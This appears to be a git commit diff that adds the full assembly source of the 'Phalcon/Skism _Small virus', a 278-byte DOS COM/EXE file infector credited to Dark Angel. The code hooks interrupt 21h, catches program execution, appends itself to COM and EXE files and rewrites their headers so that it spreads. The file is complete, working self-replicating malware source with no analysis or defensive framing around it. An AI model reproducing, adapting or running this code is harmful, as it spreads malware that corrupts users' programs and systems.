Add files via upload

2026-06-16 07:49:24 +00:00 · 2021-01-12 17:58:25 -06:00
parent b60161f008
commit 5dd4938a52
99 changed files with 41606 additions and 0 deletions
@@ -0,0 +1,190 @@
+          .model  tiny
+          .code
+          .radix  16
+          .code
+  ; Phalcon/Skism _Small virus
+  ; Written by Dark Angel of Phalcon/Skism
+  ; 278 byte generic COM/EXE infector
+  EXE_ID          =       -40
+  viruslength     =       heap - _small
+  startload       =       90 * 4
+
+  _small:
+          call    relative
+  oldheader       dw      020cdh
+                  dw      0bh dup (0)
+  relative:
+          pop     bp
+          push    ds
+          push    es
+          xor     ax,ax
+          mov     ds,ax
+          mov     es,ax
+          mov     di,startload
+          cmp     word ptr ds:[di+25],di
+          jz      exit_small
+
+          lea     si,[bp-3]
+          mov     cx,viruslength
+          db      2Eh
+          rep     movsb
+
+          mov     di,offset old21 + startload
+          mov     si,21*4
+          push    si
+          movsw
+          movsw
+          pop     di
+          mov     ax,offset int21 + startload
+          stosw
+          xchg    ax,cx
+          stosw
+
+  exit_small:
+          pop     es
+          pop     ds
+
+          or      sp,sp
+          jnp     returnCOM
+  returnEXE:
+          mov     ax,ds
+          add     ax,10
+          add     [bp+16],ax
+          add     ax,[bp+0e]
+          mov     ss,ax
+          mov     sp,cs:[bp+10]
+          jmp     dword ptr cs:[bp+14]
+  returnCOM:
+          mov     di,100
+          push    di
+          mov     si,bp
+          movsw
+          movsb
+          ret
+
+  infect:
+          push    ax
+          push    bx
+          push    cx
+          push    dx
+          push    si
+          push    di
+          push    ds
+          push    es
+
+          mov     ax,3d02
+          int     21
+          xchg    ax,bx
+
+          push    cs
+          pop     ds
+          push    cs
+          pop     es
+
+          mov     si,offset oldheader+startload
+
+          mov     ah,3f
+          mov     cx,18
+          push    cx
+          mov     dx,si
+          int     21
+
+          cmp     ax,cx
+          jnz     go_already_infected
+
+          mov     di,offset target + startload
+          push    di
+          rep     movsb
+          pop     di
+
+          mov     ax,4202
+          cwd
+          int     21
+
+          cmp     ds:[di],'ZM'
+          jz      infectEXE
+
+          sub     ax,3
+          mov     byte ptr ds:[di],0e9
+          mov     ds:[di+1],ax
+
+          sub     ax,viruslength
+          cmp     ds:[si-17],ax
+          jnz     finishinfect
+  go_already_infected:
+          pop     cx
+          jmp     short already_infected
+
+  int21:
+          cmp     ax,4b00
+          jz      infect
+          jmp     short chain
+
+  infectEXE:
+          cmp     word ptr [di+10],EXE_ID
+          jz      go_already_infected
+
+          push    ax
+          push    dx
+
+          add     ax,viruslength
+          adc     dx,0
+
+          mov     cx,200
+          div     cx
+
+          or      dx,dx
+          jz      nohiccup
+          inc     ax
+  nohiccup:
+          mov     ds:[di+4],ax
+          mov     ds:[di+2],dx
+
+          pop     dx
+          pop     ax
+
+          mov     cx,10
+          div     cx
+
+          sub     ax,ds:[di+8]
+
+          mov     ds:[di+14],dx
+          mov     ds:[di+16],ax
+
+          mov     ds:[di+0e],ax
+          mov     word ptr ds:[di+10],EXE_ID
+  finishinfect:
+          mov     ah,40
+          mov     cx,viruslength
+          mov     dx,startload
+          int     21
+
+          mov     ax,4200
+          xor     cx,cx
+          cwd
+          int     21
+
+          mov     ah,40
+          mov     dx,di
+          pop     cx
+          int     21
+  already_infected:
+          mov     ah,3e
+          int     21
+  exitinfect:
+          pop     es
+          pop     ds
+          pop     di
+          pop     si
+          pop     dx
+          pop     cx
+          pop     bx
+          pop     ax
+  chain:
+          db      0ea
+  heap:
+  old21   dw      ?, ?
+  target  dw      0ch dup (?)
+
+  endheap:
+          end     _small